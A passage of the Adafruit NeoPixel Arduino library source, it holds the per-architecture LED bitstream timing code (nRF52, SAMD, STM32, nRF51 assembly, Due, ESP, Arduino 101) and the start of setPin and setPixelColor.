pwm->EVENTS_SEQEND[0] = 0;\r\n\r\n    // We need to disable the device and disconnect\r\n    // all the outputs before leave or the device will not\r\n    // be selected on the next call.\r\n    // TODO: Check if disabling the device causes performance issues.\r\n    pwm->ENABLE = 0;\r\n\r\n    pwm->PSEL.OUT[0] = 0xFFFFFFFFUL;\r\n\r\n    #if defined(ARDUINO_NRF52_ADAFRUIT)  // use thread-safe free\r\n      rtos_free(pixels_pattern);\r\n    #else\r\n      free(pixels_pattern);\r\n    #endif\r\n  }// End of DMA implementation\r\n  // ---------------------------------------------------------------------\r\n  else{\r\n#ifndef ARDUINO_ARCH_NRF52840     \r\n    // Fall back to DWT\r\n    #if defined(ARDUINO_NRF52_ADAFRUIT)\r\n      // Bluefruit Feather 52 uses freeRTOS\r\n      // Critical Section is used since it does not block SoftDevice execution\r\n      taskENTER_CRITICAL();\r\n    #elif defined(NRF52_DISABLE_INT)\r\n      // If you are using the Bluetooth SoftDevice we advise you to not disable\r\n      // the interrupts. Disabling the interrupts even for short periods of time\r\n      // causes the SoftDevice to stop working.\r\n      // Disable the interrupts only in cases where you need high performance for\r\n      // the LEDs and if you are not using the EasyDMA feature.\r\n      __disable_irq();\r\n    #endif\r\n\r\n    NRF_GPIO_Type* nrf_port = (NRF_GPIO_Type*) digitalPinToPort(pin);\r\n    uint32_t pinMask = digitalPinToBitMask(pin);\r\n\r\n    uint32_t CYCLES_X00     = CYCLES_800;\r\n    uint32_t CYCLES_X00_T1H = CYCLES_800_T1H;\r\n    uint32_t CYCLES_X00_T0H = CYCLES_800_T0H;\r\n\r\n#if defined(NEO_KHZ400)\r\n    if( !is800KHz )\r\n    {\r\n      CYCLES_X00     = CYCLES_400;\r\n      CYCLES_X00_T1H = CYCLES_400_T1H;\r\n      CYCLES_X00_T0H = CYCLES_400_T0H;\r\n    }\r\n#endif\r\n\r\n    // Enable DWT in debug core\r\n    CoreDebug->DEMCR |= CoreDebug_DEMCR_TRCENA_Msk;\r\n    DWT->CTRL |= DWT_CTRL_CYCCNTENA_Msk;\r\n\r\n    // Tries to re-send the frame if is interrupted by the SoftDevice.\r\n    while(1) {\r\n      uint8_t *p = pixels;\r\n\r\n      uint32_t cycStart = DWT->CYCCNT;\r\n      uint32_t cyc = 0;\r\n\r\n      for(uint16_t n=0; n<numBytes; n++) {\r\n        uint8_t pix = *p++;\r\n\r\n        for(uint8_t mask = 0x80; mask; mask >>= 1) {\r\n          while(DWT->CYCCNT - cyc < CYCLES_X00);\r\n          cyc  = DWT->CYCCNT;\r\n\r\n          nrf_port->OUTSET |= pinMask;\r\n\r\n          if(pix & mask) {\r\n            while(DWT->CYCCNT - cyc < CYCLES_X00_T1H);\r\n          } else {\r\n            while(DWT->CYCCNT - cyc < CYCLES_X00_T0H);\r\n          }\r\n\r\n          nrf_port->OUTCLR |= pinMask;\r\n        }\r\n      }\r\n      while(DWT->CYCCNT - cyc < CYCLES_X00);\r\n\r\n\r\n      // If total time longer than 25%, resend the whole data.\r\n      // Since we are likely to be interrupted by SoftDevice\r\n      if ( (DWT->CYCCNT - cycStart) < ( 8*numBytes*((CYCLES_X00*5)/4) ) ) {\r\n        break;\r\n      }\r\n\r\n      // re-send need 300us delay\r\n      delayMicroseconds(300);\r\n    }\r\n\r\n    // Enable interrupts again\r\n    #if defined(ARDUINO_NRF52_ADAFRUIT)\r\n      taskEXIT_CRITICAL();\r\n    #elif defined(NRF52_DISABLE_INT)\r\n      __enable_irq();\r\n    #endif\r\n#endif\r\n  }\r\n// END of NRF52 implementation\r\n\r\n#elif defined (__SAMD21E17A__) || defined(__SAMD21G18A__)  || defined(__SAMD21E18A__) || defined(__SAMD21J18A__) // Arduino Zero, Gemma/Trinket M0, SODAQ Autonomo and others\r\n  // Tried this with a timer/counter, couldn't quite get adequate\r\n  // resolution. So yay, you get a load of goofball NOPs...\r\n\r\n  uint8_t  *ptr, *end, p, bitMask, portNum;\r\n  uint32_t  pinMask;\r\n\r\n  portNum =  g_APinDescription[pin].ulPort;\r\n  pinMask =  1ul << g_APinDescription[pin].ulPin;\r\n  ptr     =  pixels;\r\n  end     =  ptr + numBytes;\r\n  p       = *ptr++;\r\n  bitMask =  0x80;\r\n\r\n  volatile uint32_t *set = &(PORT->Group[portNum].OUTSET.reg),\r\n                    *clr = &(PORT->Group[portNum].OUTCLR.reg);\r\n\r\n#if defined(NEO_KHZ400) // 800 KHz check needed only if 400 KHz support enabled\r\n  if(is800KHz) {\r\n#endif\r\n    for(;;) {\r\n      *set = pinMask;\r\n      asm(\"nop; nop; nop; nop; nop; nop; nop; nop;\");\r\n      if(p & bitMask) {\r\n        asm(\"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop; nop;\");\r\n        *clr = pinMask;\r\n      } else {\r\n        *clr = pinMask;\r\n        asm(\"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop; nop;\");\r\n      }\r\n      if(bitMask >>= 1) {\r\n        asm(\"nop; nop; nop; nop; nop; nop; nop; nop; nop;\");\r\n      } else {\r\n        if(ptr >= end) break;\r\n        p       = *ptr++;\r\n        bitMask = 0x80;\r\n      }\r\n    }\r\n#if defined(NEO_KHZ400)\r\n  } else { // 400 KHz bitstream\r\n    for(;;) {\r\n      *set = pinMask;\r\n      asm(\"nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop;\");\r\n      if(p & bitMask) {\r\n        asm(\"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop;\");\r\n        *clr = pinMask;\r\n      } else {\r\n        *clr = pinMask;\r\n        asm(\"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop;\");\r\n      }\r\n      asm(\"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n          \"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n          \"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n          \"nop; nop; nop; nop; nop; nop; nop; nop;\");\r\n      if(bitMask >>= 1) {\r\n        asm(\"nop; nop; nop; nop; nop; nop; nop;\");\r\n      } else {\r\n        if(ptr >= end) break;\r\n        p       = *ptr++;\r\n        bitMask = 0x80;\r\n      }\r\n    }\r\n  }\r\n#endif\r\n\r\n#elif defined (__SAMD51__) // M4\r\n\r\n  uint8_t  *ptr, *end, p, bitMask, portNum, bit;\r\n  uint32_t  pinMask;\r\n\r\n  portNum =  g_APinDescription[pin].ulPort;\r\n  pinMask =  1ul << g_APinDescription[pin].ulPin;\r\n  ptr     =  pixels;\r\n  end     =  ptr + numBytes;\r\n  p       = *ptr++;\r\n  bitMask =  0x80;\r\n\r\n  volatile uint32_t *set = &(PORT->Group[portNum].OUTSET.reg),\r\n                    *clr = &(PORT->Group[portNum].OUTCLR.reg);\r\n\r\n  // SAMD51 overclock-compatible timing is only a mild abomination.\r\n  // It uses SysTick for a consistent clock reference regardless of\r\n  // optimization / cache settings.  That's the good news.  The bad news,\r\n  // since SysTick->VAL is a volatile type it's slow to access...and then,\r\n  // with the SysTick interval that Arduino sets up (1 ms), this would\r\n  // require a subtract and MOD operation for gauging elapsed time, and\r\n  // all taken in combination that lacks adequate temporal resolution\r\n  // for NeoPixel timing.  So a kind of horrible thing is done here...\r\n  // since interrupts are turned off anyway and it's generally accepted\r\n  // by now that we're gonna lose track of time in the NeoPixel lib,\r\n  // the SysTick timer is reconfigured for a period matching the NeoPixel\r\n  // bit timing (either 800 or 400 KHz) and we watch SysTick->VAL very\r\n  // closely (just a threshold, no subtract or MOD or anything) and that\r\n  // seems to work just well enough.  When finished, the SysTick\r\n  // peripheral is set back to its original state.\r\n\r\n  uint32_t t0, t1, top, ticks,\r\n           saveLoad = SysTick->LOAD, saveVal = SysTick->VAL;\r\n\r\n#if defined(NEO_KHZ400) // 800 KHz check needed only if 400 KHz support enabled\r\n  if(is800KHz) {\r\n#endif\r\n    top =       (uint32_t)(F_CPU * 0.00000125); // Bit hi + lo = 1.25 uS\r\n    t0  = top - (uint32_t)(F_CPU * 0.00000040); // 0 = 0.4 uS hi\r\n    t1  = top - (uint32_t)(F_CPU * 0.00000080); // 1 = 0.8 uS hi\r\n#if defined(NEO_KHZ400)\r\n  } else { // 400 KHz bitstream\r\n    top =       (uint32_t)(F_CPU * 0.00000250); // Bit hi + lo = 2.5 uS\r\n    t0  = top - (uint32_t)(F_CPU * 0.00000050); // 0 = 0.5 uS hi\r\n    t1  = top - (uint32_t)(F_CPU * 0.00000120); // 1 = 1.2 uS hi\r\n  }\r\n#endif\r\n\r\n  SysTick->LOAD = top;               // Config SysTick for NeoPixel bit freq\r\n  SysTick->VAL  = top;               // Set to start value (counts down)\r\n  (void)SysTick->VAL;                // Dummy read helps sync up 1st bit\r\n\r\n  for(;;) {\r\n    *set  = pinMask;                 // Set output high\r\n    ticks = (p & bitMask) ? t1 : t0; // SysTick threshold,\r\n    while(SysTick->VAL > ticks);     // wait for it\r\n    *clr  = pinMask;                 // Set output low\r\n    if(!(bitMask >>= 1)) {           // Next bit for this byte...done?\r\n      if(ptr >= end) break;          // If last byte sent, exit loop\r\n      p       = *ptr++;              // Fetch next byte\r\n      bitMask = 0x80;                // Reset bitmask\r\n    }\r\n    while(SysTick->VAL <= ticks);    // Wait for rollover to 'top'\r\n  }\r\n\r\n  SysTick->LOAD = saveLoad;          // Restore SysTick rollover to 1 ms\r\n  SysTick->VAL  = saveVal;           // Restore SysTick value\r\n\r\n#elif defined (ARDUINO_STM32_FEATHER) // FEATHER WICED (120MHz)\r\n\r\n  // Tried this with a timer/counter, couldn't quite get adequate\r\n  // resolution. So yay, you get a load of goofball NOPs...\r\n\r\n  uint8_t  *ptr, *end, p, bitMask;\r\n  uint32_t  pinMask;\r\n\r\n  pinMask =  BIT(PIN_MAP[pin].gpio_bit);\r\n  ptr     =  pixels;\r\n  end     =  ptr + numBytes;\r\n  p       = *ptr++;\r\n  bitMask =  0x80;\r\n\r\n  volatile uint16_t *set = &(PIN_MAP[pin].gpio_device->regs->BSRRL);\r\n  volatile uint16_t *clr = &(PIN_MAP[pin].gpio_device->regs->BSRRH);\r\n\r\n#if defined(NEO_KHZ400) // 800 KHz check needed only if 400 KHz support enabled\r\n  if(is800KHz) {\r\n#endif\r\n    for(;;) {\r\n      if(p & bitMask) { // ONE\r\n        // High 800ns\r\n        *set = pinMask;\r\n        asm(\"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop; nop; nop; nop;\");\r\n        // Low 450ns\r\n        *clr = pinMask;\r\n        asm(\"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop; nop; nop; nop;\");\r\n      } else { // ZERO\r\n        // High 400ns\r\n        *set = pinMask;\r\n        asm(\"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop;\");\r\n        // Low 850ns\r\n        *clr = pinMask;\r\n        asm(\"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop; nop; nop; nop; nop; nop;\"\r\n            \"nop; nop; nop; nop;\");\r\n      }\r\n      if(bitMask >>= 1) {\r\n        // Move on to the next pixel\r\n        asm(\"nop;\");\r\n      } else {\r\n        if(ptr >= end) break;\r\n        p       = *ptr++;\r\n        bitMask = 0x80;\r\n      }\r\n    }\r\n#if defined(NEO_KHZ400)\r\n  } else { // 400 KHz bitstream\r\n    // ToDo!\r\n  }\r\n#endif\r\n\r\n#elif defined(TARGET_LPC1768)\r\n  uint8_t  *ptr, *end, p, bitMask;\r\n  ptr     =  pixels;\r\n  end     =  ptr + numBytes;\r\n  p       = *ptr++;\r\n  bitMask =  0x80;\r\n\r\n#if defined(NEO_KHZ400) // 800 KHz check needed only if 400 KHz support enabled\r\n  if(is800KHz) {\r\n#endif\r\n    for(;;) {\r\n      if(p & bitMask) {\r\n        // data ONE high\r\n        // min: 550 typ: 700 max: 5,500\r\n        gpio_set(pin);\r\n        time::delay_ns(550);\r\n        // min: 450 typ: 600 max: 5,000\r\n        gpio_clear(pin);\r\n        time::delay_ns(450);\r\n      } else {\r\n        // data ZERO high\r\n        // min: 200  typ: 350 max: 500\r\n        gpio_set(pin);\r\n        time::delay_ns(200);\r\n        // data low\r\n        // min: 450 typ: 600 max: 5,000\r\n        gpio_clear(pin);\r\n        time::delay_ns(450);\r\n      }\r\n      if(bitMask >>= 1) {\r\n        // Move on to the next pixel\r\n        asm(\"nop;\");\r\n      } else {\r\n        if(ptr >= end) break;\r\n        p       = *ptr++;\r\n        bitMask = 0x80;\r\n      }\r\n    }\r\n#if defined(NEO_KHZ400)\r\n  } else { // 400 KHz bitstream\r\n    // ToDo!\r\n  }\r\n#endif\r\n#elif defined(ARDUINO_ARCH_STM32) || defined(ARDUINO_ARCH_ARDUINO_CORE_STM32)\r\n  uint8_t           *p   = pixels, *end = p + numBytes,\r\n                    pix = *p++, mask = 0x80;\r\n  uint32_t          cyc;\r\n  uint32_t saveLoad = SysTick->LOAD, saveVal = SysTick->VAL;\r\n#if defined(NEO_KHZ400) // 800 KHz check needed only if 400 KHz support enabled\r\n  if(is800KHz) {\r\n#endif\r\n    uint32_t top = (F_CPU /  800000);       // 1.25µs\r\n    uint32_t t0  = top - (F_CPU / 2500000); // 0.4µs\r\n    uint32_t t1  = top - (F_CPU / 1250000); // 0.8µs\r\n    SysTick->LOAD = top - 1; // Config SysTick for NeoPixel bit freq\r\n    SysTick->VAL  = 0; // Set to start value\r\n    for(;;) {\r\n      LL_GPIO_SetOutputPin(gpioPort, gpioPin);\r\n      cyc = (pix & mask) ? t1 : t0;\r\n      while(SysTick->VAL > cyc);\r\n      LL_GPIO_ResetOutputPin(gpioPort, gpioPin);\r\n      if(!(mask >>= 1)) {\r\n        if(p >= end) break;\r\n        pix       = *p++;\r\n        mask = 0x80;\r\n      }\r\n      while(SysTick->VAL <= cyc);\r\n    }\r\n#if defined(NEO_KHZ400)\r\n  } else { // 400 kHz bitstream\r\n    uint32_t top = (F_CPU /  400000);       // 2.5µs\r\n    uint32_t t0  = top - (F_CPU / 2000000); // 0.5µs\r\n    uint32_t t1  = top - (F_CPU /  833333); // 1.2µs\r\n    SysTick->LOAD = top - 1; // Config SysTick for NeoPixel bit freq\r\n    SysTick->VAL  = 0;       // Set to start value\r\n    for(;;) {\r\n      LL_GPIO_SetOutputPin(gpioPort, gpioPin);\r\n      cyc = (pix & mask) ? t1 : t0;\r\n      while(SysTick->VAL > cyc);\r\n      LL_GPIO_ResetOutputPin(gpioPort, gpioPin);\r\n      if(!(mask >>= 1)) {\r\n        if(p >= end) break;\r\n        pix       = *p++;\r\n        mask = 0x80;\r\n      }\r\n      while(SysTick->VAL <= cyc);\r\n    }\r\n  }\r\n#endif // NEO_KHZ400\r\n  SysTick->LOAD = saveLoad;          // Restore SysTick rollover to 1 ms\r\n  SysTick->VAL  = saveVal;           // Restore SysTick value\r\n#elif defined (NRF51)\r\n  uint8_t          *p   = pixels,\r\n                    pix, count, mask;\r\n  int32_t         num = numBytes;\r\n  unsigned int bitmask = ( 1 << g_ADigitalPinMap[pin] );\r\n// https://github.com/sandeepmistry/arduino-nRF5/blob/dc53980c8bac27898fca90d8ecb268e11111edc1/variants/BBCmicrobit/variant.cpp\r\n\r\n  volatile unsigned int *reg = (unsigned int *) (0x50000000UL + 0x508);\r\n\r\n// https://github.com/sandeepmistry/arduino-nRF5/blob/dc53980c8bac27898fca90d8ecb268e11111edc1/cores/nRF5/SDK/components/device/nrf51.h\r\n// http://www.iot-programmer.com/index.php/books/27-micro-bit-iot-in-c/chapters-micro-bit-iot-in-c/47-micro-bit-iot-in-c-fast-memory-mapped-gpio?showall=1\r\n// https://github.com/Microsoft/pxt-neopixel/blob/master/sendbuffer.asm\r\n\r\n  asm volatile(\r\n    // \"cpsid i\" ; disable irq\r\n\r\n    //    b .start\r\n    \"b  L%=_start\"                    \"\\n\\t\"\r\n    // .nextbit:               ;            C0\r\n    \"L%=_nextbit:\"                    \"\\n\\t\"          //;            C0\r\n    //    str r1, [r3, #0]    ; pin := hi  C2\r\n    \"strb %[bitmask], [%[reg], #0]\"   \"\\n\\t\"          //; pin := hi  C2\r\n    //    tst r6, r0          ;            C3\r\n    \"tst %[mask], %[pix]\"             \"\\n\\t\"//          ;            C3\r\n    //    bne .islate         ;            C4\r\n    \"bne L%=_islate\"                  \"\\n\\t\"          //;            C4\r\n    //    str r1, [r2, #0]    ; pin := lo  C6\r\n    \"strb %[bitmask], [%[reg], #4]\"   \"\\n\\t\"          //; pin := lo  C6\r\n    // .islate:\r\n    \"L%=_islate:\"                     \"\\n\\t\"\r\n    //    lsrs r6, r6, #1     ; r6 >>= 1   C7\r\n    \"lsr %[mask], %[mask], #1\"       \"\\n\\t\"          //; r6 >>= 1   C7\r\n    //    bne .justbit        ;            C8\r\n    \"bne L%=_justbit\"                 \"\\n\\t\"          //;            C8\r\n\r\n    //    ; not just a bit - need new byte\r\n    //    adds r4, #1         ; r4++       C9\r\n    \"add %[p], #1\"                   \"\\n\\t\"          //; r4++       C9\r\n    //    subs r5, #1         ; r5--       C10\r\n    \"sub %[num], #1\"                 \"\\n\\t\"          //; r5--       C10\r\n    //    bcc .stop           ; if (r5<0) goto .stop  C11\r\n    \"bcc L%=_stop\"                    \"\\n\\t\"          //; if (r5<0) goto .stop  C11\r\n    // .start:\r\n    \"L%=_start:\"\r\n    //    movs r6, #0x80      ; reset mask C12\r\n    \"movs %[mask], #0x80\"             \"\\n\\t\"          //; reset mask C12\r\n    //    nop                 ;            C13\r\n    \"nop\"                             \"\\n\\t\"          //;            C13\r\n\r\n    // .common:               ;             C13\r\n    \"L%=_common:\"                     \"\\n\\t\"          //;            C13\r\n    //    str r1, [r2, #0]   ; pin := lo   C15\r\n    \"strb %[bitmask], [%[reg], #4]\"   \"\\n\\t\"          //; pin := lo  C15\r\n    //    ; always re-load byte - it just fits with the cycles better this way\r\n    //    ldrb r0, [r4, #0]  ; r0 := *r4   C17\r\n    \"ldrb  %[pix], [%[p], #0]\"        \"\\n\\t\"          //; r0 := *r4   C17\r\n    //    b .nextbit         ;             C20\r\n    \"b L%=_nextbit\"                   \"\\n\\t\"          //;             C20\r\n\r\n    // .justbit: ; C10\r\n    \"L%=_justbit:\"                    \"\\n\\t\"          //; C10\r\n    //    ; no nops, branch taken is already 3 cycles\r\n    //    b .common ; C13\r\n    \"b L%=_common\"                    \"\\n\\t\"          //; C13\r\n\r\n    // .stop:\r\n    \"L%=_stop:\"                       \"\\n\\t\"\r\n    //    str r1, [r2, #0]   ; pin := lo\r\n    \"strb %[bitmask], [%[reg], #4]\"   \"\\n\\t\"          //; pin := lo\r\n    //    cpsie i            ; enable irq\r\n\r\n    : [p] \"+r\" (p),\r\n    [pix] \"=&r\" (pix),\r\n    [count] \"=&r\" (count),\r\n    [mask] \"=&r\" (mask),\r\n    [num] \"+r\" (num)\r\n    : [bitmask] \"r\" (bitmask),\r\n    [reg] \"r\" (reg)\r\n  );\r\n\r\n#elif defined(__SAM3X8E__) // Arduino Due\r\n\r\n  #define SCALE      VARIANT_MCK / 2UL / 1000000UL\r\n  #define INST       (2UL * F_CPU / VARIANT_MCK)\r\n  #define TIME_800_0 ((int)(0.40 * SCALE + 0.5) - (5 * INST))\r\n  #define TIME_800_1 ((int)(0.80 * SCALE + 0.5) - (5 * INST))\r\n  #define PERIOD_800 ((int)(1.25 * SCALE + 0.5) - (5 * INST))\r\n  #define TIME_400_0 ((int)(0.50 * SCALE + 0.5) - (5 * INST))\r\n  #define TIME_400_1 ((int)(1.20 * SCALE + 0.5) - (5 * INST))\r\n  #define PERIOD_400 ((int)(2.50 * SCALE + 0.5) - (5 * INST))\r\n\r\n  int             pinMask, time0, time1, period, t;\r\n  Pio            *port;\r\n  volatile WoReg *portSet, *portClear, *timeValue, *timeReset;\r\n  uint8_t        *p, *end, pix, mask;\r\n\r\n  pmc_set_writeprotect(false);\r\n  pmc_enable_periph_clk((uint32_t)TC3_IRQn);\r\n  TC_Configure(TC1, 0,\r\n    TC_CMR_WAVE | TC_CMR_WAVSEL_UP | TC_CMR_TCCLKS_TIMER_CLOCK1);\r\n  TC_Start(TC1, 0);\r\n\r\n  pinMask   = g_APinDescription[pin].ulPin; // Don't 'optimize' these into\r\n  port      = g_APinDescription[pin].pPort; // declarations above. Want to\r\n  portSet   = &(port->PIO_SODR);            // burn a few cycles after\r\n  portClear = &(port->PIO_CODR);            // starting timer to minimize\r\n  timeValue = &(TC1->TC_CHANNEL[0].TC_CV);  // the initial 'while'.\r\n  timeReset = &(TC1->TC_CHANNEL[0].TC_CCR);\r\n  p         =  pixels;\r\n  end       =  p + numBytes;\r\n  pix       = *p++;\r\n  mask      = 0x80;\r\n\r\n#if defined(NEO_KHZ400) // 800 KHz check needed only if 400 KHz support enabled\r\n  if(is800KHz) {\r\n#endif\r\n    time0  = TIME_800_0;\r\n    time1  = TIME_800_1;\r\n    period = PERIOD_800;\r\n#if defined(NEO_KHZ400)\r\n  } else { // 400 KHz bitstream\r\n    time0  = TIME_400_0;\r\n    time1  = TIME_400_1;\r\n    period = PERIOD_400;\r\n  }\r\n#endif\r\n\r\n  for(t = time0;; t = time0) {\r\n    if(pix & mask) t = time1;\r\n    while(*timeValue < (unsigned)period);\r\n    *portSet   = pinMask;\r\n    *timeReset = TC_CCR_CLKEN | TC_CCR_SWTRG;\r\n    while(*timeValue < (unsigned)t);\r\n    *portClear = pinMask;\r\n    if(!(mask >>= 1)) {   // This 'inside-out' loop logic utilizes\r\n      if(p >= end) break; // idle time to minimize inter-byte delays.\r\n      pix = *p++;\r\n      mask = 0x80;\r\n    }\r\n  }\r\n  while(*timeValue < (unsigned)period); // Wait for last bit\r\n  TC_Stop(TC1, 0);\r\n\r\n#endif // end Due\r\n\r\n// END ARM ----------------------------------------------------------------\r\n\r\n\r\n#elif defined(ESP8266) || defined(ESP32)\r\n\r\n// ESP8266 ----------------------------------------------------------------\r\n\r\n  // ESP8266 show() is external to enforce ICACHE_RAM_ATTR execution\r\n  espShow(pin, pixels, numBytes, is800KHz);\r\n\r\n#elif defined(KENDRYTE_K210)\r\n\r\n  k210Show(pin, pixels, numBytes, is800KHz);\r\n  \r\n#elif defined(__ARDUINO_ARC__)\r\n\r\n// Arduino 101  -----------------------------------------------------------\r\n\r\n#define NOPx7 { __builtin_arc_nop(); \\\r\n  __builtin_arc_nop(); __builtin_arc_nop(); \\\r\n  __builtin_arc_nop(); __builtin_arc_nop(); \\\r\n  __builtin_arc_nop(); __builtin_arc_nop(); }\r\n\r\n  PinDescription *pindesc = &g_APinDescription[pin];\r\n  register uint32_t loop = 8 * numBytes; // one loop to handle all bytes and all bits\r\n  register uint8_t *p = pixels;\r\n  register uint32_t currByte = (uint32_t) (*p);\r\n  register uint32_t currBit = 0x80 & currByte;\r\n  register uint32_t bitCounter = 0;\r\n  register uint32_t first = 1;\r\n\r\n  // The loop is unusual. Very first iteration puts all the way LOW to the wire -\r\n  // constant LOW does not affect NEOPIXEL, so there is no visible effect displayed.\r\n  // During that very first iteration CPU caches instructions in the loop.\r\n  // Because of the caching process, \"CPU slows down\". NEOPIXEL pulse is very time sensitive\r\n  // that's why we let the CPU cache first and we start regular pulse from 2nd iteration\r\n  if (pindesc->ulGPIOType == SS_GPIO) {\r\n    register uint32_t reg = pindesc->ulGPIOBase + SS_GPIO_SWPORTA_DR;\r\n    uint32_t reg_val = __builtin_arc_lr((volatile uint32_t)reg);\r\n    register uint32_t reg_bit_high = reg_val | (1 << pindesc->ulGPIOId);\r\n    register uint32_t reg_bit_low  = reg_val & ~(1 << pindesc->ulGPIOId);\r\n\r\n    loop += 1; // include first, special iteration\r\n    while(loop--) {\r\n      if(!first) {\r\n        currByte <<= 1;\r\n        bitCounter++;\r\n      }\r\n\r\n      // 1 is >550ns high and >450ns low; 0 is 200..500ns high and >450ns low\r\n      __builtin_arc_sr(first ? reg_bit_low : reg_bit_high, (volatile uint32_t)reg);\r\n      if(currBit) { // ~400ns HIGH (740ns overall)\r\n        NOPx7\r\n        NOPx7\r\n      }\r\n      // ~340ns HIGH\r\n      NOPx7\r\n     __builtin_arc_nop();\r\n\r\n      // 820ns LOW; per spec, max allowed low here is 5000ns */\r\n      __builtin_arc_sr(reg_bit_low, (volatile uint32_t)reg);\r\n      NOPx7\r\n      NOPx7\r\n\r\n      if(bitCounter >= 8) {\r\n        bitCounter = 0;\r\n        currByte = (uint32_t) (*++p);\r\n      }\r\n\r\n      currBit = 0x80 & currByte;\r\n      first = 0;\r\n    }\r\n  } else if(pindesc->ulGPIOType == SOC_GPIO) {\r\n    register uint32_t reg = pindesc->ulGPIOBase + SOC_GPIO_SWPORTA_DR;\r\n    uint32_t reg_val = MMIO_REG_VAL(reg);\r\n    register uint32_t reg_bit_high = reg_val | (1 << pindesc->ulGPIOId);\r\n    register uint32_t reg_bit_low  = reg_val & ~(1 << pindesc->ulGPIOId);\r\n\r\n    loop += 1; // include first, special iteration\r\n    while(loop--) {\r\n      if(!first) {\r\n        currByte <<= 1;\r\n        bitCounter++;\r\n      }\r\n      MMIO_REG_VAL(reg) = first ? reg_bit_low : reg_bit_high;\r\n      if(currBit) { // ~430ns HIGH (740ns overall)\r\n        NOPx7\r\n        NOPx7\r\n        __builtin_arc_nop();\r\n      }\r\n      // ~310ns HIGH\r\n      NOPx7\r\n\r\n      // 850ns LOW; per spec, max allowed low here is 5000ns */\r\n      MMIO_REG_VAL(reg) = reg_bit_low;\r\n      NOPx7\r\n      NOPx7\r\n\r\n      if(bitCounter >= 8) {\r\n        bitCounter = 0;\r\n        currByte = (uint32_t) (*++p);\r\n      }\r\n\r\n      currBit = 0x80 & currByte;\r\n      first = 0;\r\n    }\r\n  }\r\n\r\n#else\r\n#error Architecture not supported\r\n#endif\r\n\r\n\r\n// END ARCHITECTURE SELECT ------------------------------------------------\r\n\r\n#if !( defined(NRF52) || defined(NRF52_SERIES) )\r\n  interrupts();\r\n#endif\r\n\r\n  endTime = micros(); // Save EOD time for latch on next call\r\n}\r\n\r\n/*!\r\n  @brief   Set/change the NeoPixel output pin number. Previous pin,\r\n           if any, is set to INPUT and the new pin is set to OUTPUT.\r\n  @param   p  Arduino pin number (-1 = no pin).\r\n*/\r\nvoid Adafruit_NeoPixel::setPin(uint16_t p) {\r\n  if(begun && (pin >= 0)) pinMode(pin, INPUT);\r\n  pin = p;\r\n  if(begun) {\r\n    pinMode(p, OUTPUT);\r\n    digitalWrite(p, LOW);\r\n  }\r\n#if defined(__AVR__)\r\n  port    = portOutputRegister(digitalPinToPort(p));\r\n  pinMask = digitalPinToBitMask(p);\r\n#endif\r\n#if defined(ARDUINO_ARCH_STM32) || defined(ARDUINO_ARCH_ARDUINO_CORE_STM32)\r\n  gpioPort = digitalPinToPort(p);\r\n  gpioPin = STM_LL_GPIO_PIN(digitalPinToPinName(p));\r\n#endif\r\n}\r\n\r\n/*!\r\n  @brief   Set a pixel's color using separate red, green and blue\r\n           components. If using RGBW pixels, white will be set to 0.\r\n  @param   n  Pixel index, starting from 0.\r\n  @param   r  Red brightness, 0 = minimum (off), 255 = maximum.\r\n  @param   g  Green brightness, 0 = minimum (off), 255 = maximum.\r\n  @param   b  Blue brightness, 0 = minimum (off), 255 = maximum.\r\n*/\r\nvoid Adafruit_NeoPixel::setPixelColor(\r\n uint16_t n, uint8_t r, uint8_t g, uint8_t b) {\r\n\r\n  if(n < numLEDs) {\r\n    if(brightness) { // See notes in setBrightness()\r\n      r = (r * brightness) >> 8;\r\n      g = (g * brightness) >> 8;\r\n      b = (b * brightness) >> 8;\r\n    }\r\n    uint8_t *p;\r\n    if(wOffset == rOffset) { // Is 